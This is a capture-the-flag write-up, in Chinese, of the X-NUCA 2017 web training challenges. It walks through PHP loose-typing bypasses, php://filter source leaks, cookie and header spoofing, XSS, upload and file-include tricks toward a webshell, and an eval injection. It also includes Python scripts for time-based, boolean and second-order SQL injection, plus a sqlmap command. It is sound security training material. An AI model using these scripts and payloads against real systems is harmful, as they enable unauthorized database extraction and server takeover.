x-nuca-2017-web专题赛前指导WP

葛大佬感情受挫失联了,我这个小辣鸡只能重拾web,记录一下wp咯

捉迷藏

审查元素,发现网页背景为black,最下面有个<a>./Index.php</a>标签属性也是black,明显有问题,打开有个flag,一闪而逝,就是答案,本题坑点是学弟跳进去的,他把CSS属性改了:

于是出现了一个二维码,而且扫出来是flag形式的:

简单问答

一道老题(其他可能也是,只是这道以前做过),选项显示的值和实际的不一样,查看源码可以看到,改正确就好了:

后台后台后台

显示只有Admin组的成员才能登录,JohnTan101属于Normal,查看cookie有个Menber属性看长相像base64解码下是Normal,那么把它换成Admin的base64即可

PHP是最好的语言

打开直接给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>

分析源码,要使$v1 && $v2 && $v3为真即都为1,他们初始为0,就向上看让他们为1的语句执行。分析知接收三个参数:

  1. foo是一个json编码的字符串,里面要有bar1元素,它不能是数字并且要大于2016;有bar2元素,它有5个元素;有a2这个元素,它是一个数组并且它其中一个元素含’nudt’;满足这些条件$v1和$v2就为1了
  2. cat需要是一个数组,第一个元素不为0,并且使用strcmp做比较时第一个元素要等于dog但是他们要在严格的情况下不相等;strpos表示cat[0]与$d连接一定要有”htctf2016”子串;eregi需要他们不包含”3|1|c”,由于eregi是一个非二进制安全函数,所以可以使用\x00绕过

就是考察PHP弱类型与非二进制安全函数咯

Login

打开有三个页面可以点,随便点击info发现探针被执行了,点main发现和没点之前一样,看URL像是文件包含,各种尝试无果,又去登录页面看看爆破失败,又回去尝试文件包含,想到PHP伪协议:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//url:http://218.76.35.75:20115/?page=php://filter/read=convert.base64-encode/resource=main
//成功显示base64编码代码,解码为:
<html>
<head>
<title>trolol</title>
</head>
<body>
<center>
<a href="./?page=main">main</a>
<a href="./?page=info">server info</a>
<a href="./?page=login">login</a>
</center>
</body>
</html>

//emmmm。。。。。我怕是个傻子吧,查看login页面:

<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
$logfile = "./log/".$login.".log";
file_put_contents($logfile, $login."\n".$password);
}
?>
<center>
login<br/><br/>
<form action="" method="POST">
<input name="login" placeholder="login"><br/>
<input name="password" placeholder="password"><br/><br/>
<input type="submit" value="Go!">
</form>
</center>

通过阅读发现登录admin,密码被sha1哈希与一个值比较,正确得到flag,否则若是GET方式传递了debug则将错误的账号和密码保存到以账号命名的日志里面,其中路径是可控的,并且login.php与index.php同级,似乎就没有其他的啦,好吧,其实还有,在比较密码时用的是==可能存在弱类型绕过,当然若是直接点击链接进入的登录页面是没有问题的,但是若直接访问这个链接,那么$pwhash这个变量并没有被赋值,那么使用password[]即可绕过获取flag。
另外,很明显这个$pwhash是在index.php这个页面里面定义的,那么查看这个页面的源代码就可以看到啊,当然直接查看是不行的,不过使用./index就看到了:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$pwhash="ffd313052dab00927cb61064a392f30ee454e70f";

if (@$_GET['log']) {
if(file_exists($_GET['log'].".log")){
include("flag.txt");
}
}
if(@$_GET['page'] != 'index'){
include((@$_GET['page']?$_GET['page'].".php":"main.php"));
}

?>

从上面分析,这道题的解法有很多,弱类型应该是最简单的了,当然还可以getshell..

http头注入

换个浏览器试试,又是头注入,以为注入点在user-agent,然后打开又写着:
Wecome our official sites:heetian.com/heetian.php

Waist long hair, teenager marry me these days.

emmmm,一个一个试,幸运的是一个单引号就解决了:

这里是insert语句,使用报错注入,这里直接用SQLmap跑出来:

1
root@kali:~# sqlmap -u "http://218.76.35.75:20121/heetian.php" --level=3 -p "referer" --technique=E -D ctfweb20110 -T flag --dump


当然也可以写脚本,这里写了一个基于时间的盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#coding:utf-8

import requests
import string

url = 'http://218.76.35.74:20121/heetian.php'
charSet = string.letters + string.digits + string.punctuation
headers = {"Referer": ""}

def baseTime(sql):
ans = ''
for i in range(1, 256 + 1):
ansbak = ans
for char in charSet:
## 这句存在问题
## headers["Referer"] = "'+if(substring((%s)from(%d)for(1))='%s',sleep(5),0)+'" % (sql, i, char)
headers["Referer"] = "'+if(ascii(substr((%s)from(%d)))=%d,sleep(5),0)+'" % (sql,i, ord(char))
try:
requests.get(url=url, headers=headers, timeout=4)
except requests.exceptions.ReadTimeout:
ans += char
break
if ans == ansbak:
break
return ans

if __name__=='__main__':
currentDBSQL = "select database()" #查询当前库
tablesSQL = "select group_concat(table_name) from information_schema.columns where table_schema=database()" #查询当前库存在的表
columnsSQL = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='%s'"%("flag") #("要查询的表"),查询指定表所有列
datasSQL = "select group_concat(%s) from %s"%("flag","flag") #("要查询的列","要查询的表"),查询数据
print "数据为:",baseTime(datasSQL)

简单的文件上传

经测试只接受jpg文件但是要求上传PHP文件,直接改Content-Type就好了

简单的JS

打开页面发现一个js:

打开这个URL即可,不过flag在set-cookie里面

php 是门松散的语言

打开就是伪代码提示

1
2
3
4
5
6
- - - - - - - source code - - - - - - - - - -
$he ='goodluck';
parse_str($_GET['heetian']);
if $he = 'abcd';
echo $flag;
he=?

直接heetian=he=abcd啦

试试xss

直接输入一个标准的xss poc查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>欢迎来到比赛</title>
</head>
<body>
<span >Hint:</span><span > alert document.domain.</span>
<form method = "post" name="form1" id = "form1" action="">

<input name="subject" type="text" value="" size="60"/>
<input type="submit" name="insert" id="insert" value="go">
<img src='<img src=4566 onerror=comform(/ddd/)> /></form>
</body>
</html>

发现他已经写了部分了,那么自己不写那一部分就好了。。。

简单文件包含

打开有四个链接,形式是index.php?page=1,在浏览器里面按提示包含/flag会显示flag 不在这里,而包含数字不会报错,否则会显示:P wrong page,试了下SQL注入发现失败,再次看/flag这个页面,查看源码,发现。。。再打开这个页面,看到。。。的确够简单的,就是不懂这种洞是在什么时候产生的

简单验证

熟悉前面套路,发现hint很重要,那么本题的是描述:你不是amdin,没有权限查看flag,再打开页面发现:

1
2
Set-Cookie: user=Bob; expires=Sat, 19-Aug-2017 11:10:55 GMT
Set-Cookie: guess=999; expires=Sat, 19-Aug-2017 11:10:55 GMT

那就爆破咯:

vote

描述:据说可以注入,然而……
这道题遇到坑了,vim源码泄露,直接wget http://218.76.35.74:65080/.index.php.swp 下载临时文件,使用vim -r .index.php.swp恢复,但是

这里被坑了很久,换了3个系统全部失败,直到半个月后。。。突然想到会不会是要x86平台,因为我平时全都是用的x64,于是又换x86,恢复成功:

可以看到vote和id这两个参数可控,但是后面会用is_numeric($_POST['id'])判断id是否为数字,会用(int)$_POST['vote']强制转换类型,这样看似乎就不能做什么了,但是再往下看它会有查询操作,前面插入后面插入很可能是二次注入,若是二次注入那么id就可以利用了,因为is_numeric()能用十六进制绕过,而查询会以字符串形式返回,于是就可以构造二次注入语句啦:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#encoding:utf-8
import requests
import binascii

url = 'http://218.76.35.74:65080/index.php'
def TwoIn(sql):
payload = '-1 union '+sql
payload = ('0x'+binascii.hexlify(payload))
print payload
data={'id':payload,'vote':1,'submit':'Submit'}
req=requests.post(url=url,data=data)
print req.content
if __name__=="__main__":
## 注意,这里有长度限制,为64字节
tablesSQL = "select group_concat(table_name) from information_schema.columns where table_schema=database()" # 查询当前库存在的表
columnsSQL = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='%s'" % ("flag") # ("要查询的表"),查询指定表所有列
datasSQL = "select group_concat(%s) from %s" % ("flag", "flag") # ("要查询的列","要查询的表"),查询数据
datasSQL = "select %s from %s" % ("flag", "t_flag") ##这里就只能不断猜表明猜列名咯

TwoIn(datasSQL)

GG

又是一道老题,打开是一个俄罗斯方块游戏,先玩几把看看有些什么功能,然后查看源码,发现就一个js打开在线格式化后分析,是混淆过的,至少函数名字处理过了,代码很长没有具体分析,大致看了下每个函数实现功能与函数大致流程,还好作者没那么丧心病狂把所有的名字都混淆了,直到看到一句比较敏感的:

1
2
3
4
5
6
7
this.mayAdd = function (a) {
if (this.scores.length < this.maxscores) return 1E6 < a && (a = new p, a.set("urlkey", "webqwer" [1] + "100.js", 864E5)), !0;
for (var b = this.scores.length - 1; 0 <= b; --b)
if (this.scores[b].score < a) return 1E6 < a && (a = new p, a.set("urlkey",
"webqwer" [1] + "100.js", 864E5)), !0;
return !1
};

urlkey为e100.js那么试试,发现是js编码,运行出结果:

Reappear

描述:网管说他安装了什么编辑器,但是似乎不太会用。。。并且打开页面显示:
Kindeditor v4.1.7
something maybe in /kindeditor/
百度了一下它存在路径泄露漏洞,访问弱点页面:

发现在"\/kindeditor\/php\/..\/attached\/"存在敏感文件flag_clue.php,打开页面,发现一个疑似逆序的base64串-=0nYvpEdhVmcnFUZu9GRlZXd7pzZhxmZ解码就好了

DrinkCoffee

  1. 描述:据说登录可以领到咖啡票,不过不知道密码哦……
  2. Hint: Find the password to submit, but you should come from http://www.iie.ac.cn and your IP must be 10.10.20.1

第二条意思是改refererx-forwarded-for,再抓包发现返回头有个Password: d2626f412da748e711ca4f4ae9428664解md5为cafe,那么按要求发送就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 218.76.35.75:65280
Proxy-Connection: keep-alive
Content-Length: 13
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://www.iie.ac.cn
X-Forwarded-For: 10.10.20.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8

password=cafe

最安全的笔记管理系统

看长相像xss,SQL注入,经测试XSS似乎使用了XSS终结者过滤函数,要是注入的话很大可能是二次注入了,另外仔细查看URL发现始终在一个页面跳,先尝试文件包含,要是有源码会简单很多,很幸运有源码http://218.76.35.74:20128/index.php?action=php://filter/read=convert.base64-encode/resource=front&mode=index
登陆后首页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//    front/index.php
<?php

defined("DIR_PERMITION") or die("Permision denied!");

$userid=check_login();
//目测检查了set_login,可能用的是id可能用的level。。。可能uname。。。
if(!$userid){

echo "<script>alert('not login!');</script>";
echo("<script>location.href='./index.php?action=front&mode=login'</script>");
die();
}else{
//一般用户只能看到自己的文章,userid为1的可以看到所有
$sql="select * from note where userid='$userid' or userid='1'";
$result=mysql_my_query($sql);
}

?>
<?php echo explode("|",$_COOKIE['uid'])[0];?>
<?php echo $userid;?>

<?php
while($row=$result->fetch_assoc()){
echo "<tr>";
echo "<td>".$row['title']."</td>";
echo "<td>".$row['content']."</td>";
echo "<td><a href=./index.php?action=front&mode=delete&id=".$row['id']."&TOKEN=".$_SESSION['CSRF_TOKEN'].">delete</a></td>";
echo "</tr>";
}

?>

登录页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

defined("DIR_PERMITION") or die("Permision denied!");

if(isset($_POST['uname'])&&isset($_POST['password'])&&isset($_POST['TOKEN'])){

$uname=$_POST['uname'];
$password=md5($_POST['password']);
$TOKEN=$_POST['TOKEN'];

if($TOKEN!=$_SESSION['CSRF_TOKEN']){
die("token error!");
}
//至少本页没有检测,可以控制level值。。。emm,也可能能够控制其他所有值
$sql="select id,level from user where uname='$uname' and password='$password' and level='0'";

$res=mysql_my_query($sql);
$row=$res->fetch_assoc(); //获取第一条记录

if($row['id']){
echo $row['level'];//这里会输出东西,可能可以利用,第二列
set_login($uname,$row['id'],$row['level']);
header("Location: ./index.php?action=front&mode=index");
exit();
}else{
echo("<script>alert('username or password error!')</script>");
}
}

?>

注册页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
defined("DIR_PERMITION") or die("Permision denied!");

if(isset($_POST['uname'])&&isset($_POST['password'])&&isset($_POST['TOKEN'])){

$uname=$_POST['uname'];
$password=md5($_POST['password']);
$TOKEN=$_POST['TOKEN'];

if($TOKEN!=$_SESSION['CSRF_TOKEN']){
die("token error!");
}
$sql="select count(*) count from user where uname='$uname'";

$res=mysql_my_query($sql);
$row=$res->fetch_assoc(); //获取第一条记录

if($row['count']){

echo("<script>alert('username repeats!')</script>");

}else{
//至少在本页上没有看到过滤,可以注入,例如改变level的值
$sql="insert into `user`(uname,password,level) values ('$uname','$password',0)";
$res=mysql_my_query($sql);
if($res){
header("Location: ./index.php?action=front&mode=login");
exit();

}else{

echo("<script>alert('register failed!')</script>");
}

}

}

?>

新建笔记页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

defined("DIR_PERMITION") or die("Permision denied!");

$userid=check_login();

if(!$userid){
echo "<script>alert('not login!');</script>";
echo("<script>location.href='./index.php?action=front&mode=login'</script>");

die();

}elseif(isset($_POST['title'])&&isset($_POST['content'])&&isset($_POST['TOKEN'])){

$title=htmlspecialchars(trim($_POST['title']));
$content=htmlspecialchars(trim($_POST['content']));
$TOKEN=$_POST['TOKEN'];

if($TOKEN!=$_SESSION['CSRF_TOKEN']){
die("token error!");
}

$sql="insert into `note` (title,content,userid) values ('$title','$content',$userid)";

if(!empty($title)&&!empty($content)){

$res=mysql_my_query($sql);

if($res){

echo("<script>alert('create success!')</script>");
echo("<script>location.href='./index.php?action=front&mode=index'</script>");
}else{

echo("<script>alert('create failed!')</script>");
}

}
}

?>

综上,要是没有SQL检测,那么利用的方法就可以有很多了,but真的有过滤,没有在代码中出现应该是使用了PHP的magic_quotes_gpc之类的,若是猜测正确的话,可以尝试二次注入,另外初始的那条乱码可以猜测字符编码,就是宽字符截断(然而这里是utf8):

document

打开显示:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<!-- include.php -->
</body>
</html>

包含?先打开这个页面:

1
2
3
4
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>

打开upload.php尝试上传多种文件报错,回到主页,说的参数是file,那么尝试?file=upload.php失败,emmmm,失败是正常的,一般都不会让指定完整文件名而是只指定文件名而不带后缀,于是?file=upload包含成功,再次使用伪协议查看upload的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>

emmmm,还有include的也看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>

应该就是要获取webshell了,先绕过文件包含过滤,试了几个常用的绕过失败,百度了l3m0n的方法成功绕过:

你以为这样就完了吗?还要找flag,而且在图形化界面翻不出来,要用命令查找:

阳关总在风雨后

看长相像SQL注入,试了下先判断用户名,讲道理不可能写死判断是否是admin,而是查数据库看用户是否存在,那么这里可能就是一个注入点了,再讲道理密码都会哈希处理一般不会是注入点,所以要是有注入就只能在这里了,另外,这里是判断用户是否存在那么只有盲注了,继续测试发现它会显示字符被过滤alert('illegal character!!@_@');,这个比较明显就可以先测试过滤了那些字符,经测试含,,|,&,and,or,union,like,*, (所有空白符)等,于是先想办法构造布尔语句,本来构造方法很多,但是要绕空格就pass很多了,这里使用普通运算就可以了:

1
2
3
4
5
admin'-1-'-1	#不能用+,被过滤了
admin'/'1 #不能用*,被过滤了
admin'^1^'1
admin'%1%'1
..........

好啦,现在有布尔语句了,往里面填值就好了:
构造的语句不能有空格,逗号,ORD(含or),于是:

1
admin'-(ascii(substr(database()from(2)))>110)-'-1

首先直接用exists(select(uname)from(admin))验证,猜出了表名和列名:
admin:uname:passwd可以少写点脚本,先把这个跑出来,不能做了再去跑所有的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
##老夫编程就是一把梭,什么二分查找,多线程 tan90°,能出结果就好了
import requests
url = "http://218.76.35.74:20130/login.php"

unameq = "admin'-(ascii(substr((select(group_concat(passwd))from(admin))from("
password = ''
for i in range(1,50):
for j in range(1,128):
uname = unameq+str(i)+")))="+str(j)+")-'-1"
data = {'uname':uname,'passwd':'123'}
r = requests.post(url=url, data=data)
if 'password' in r.text:
password+=chr(j)
print(password)
break
if j==127:
print("完成!")
exit(0)

跑出结果是50f87a3a3ad48e26a5d9058418fb78b5 cmd5 查出是shuangshuang登录进去:

emmmm,一个命令执行,继续试,这次他过滤但不提示了,当然也可以发现,空格被过滤啦

很明显,没有输出完,于是用head构造命令,找到flag

default

描述:主页都没有了,就不要扫我了
嗯,分析一下这个题,default表示默认,提示是主页没有了,不要扫我是嘴上说着不要还是真的不要?鬼知道,反正各种测试无果,结果是index2.php…..打开后显示源码:

1
2
3
4
5
6
7
8
<?php  

include "flag2.php";
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);");

直接显示源码show_source('flag2.php')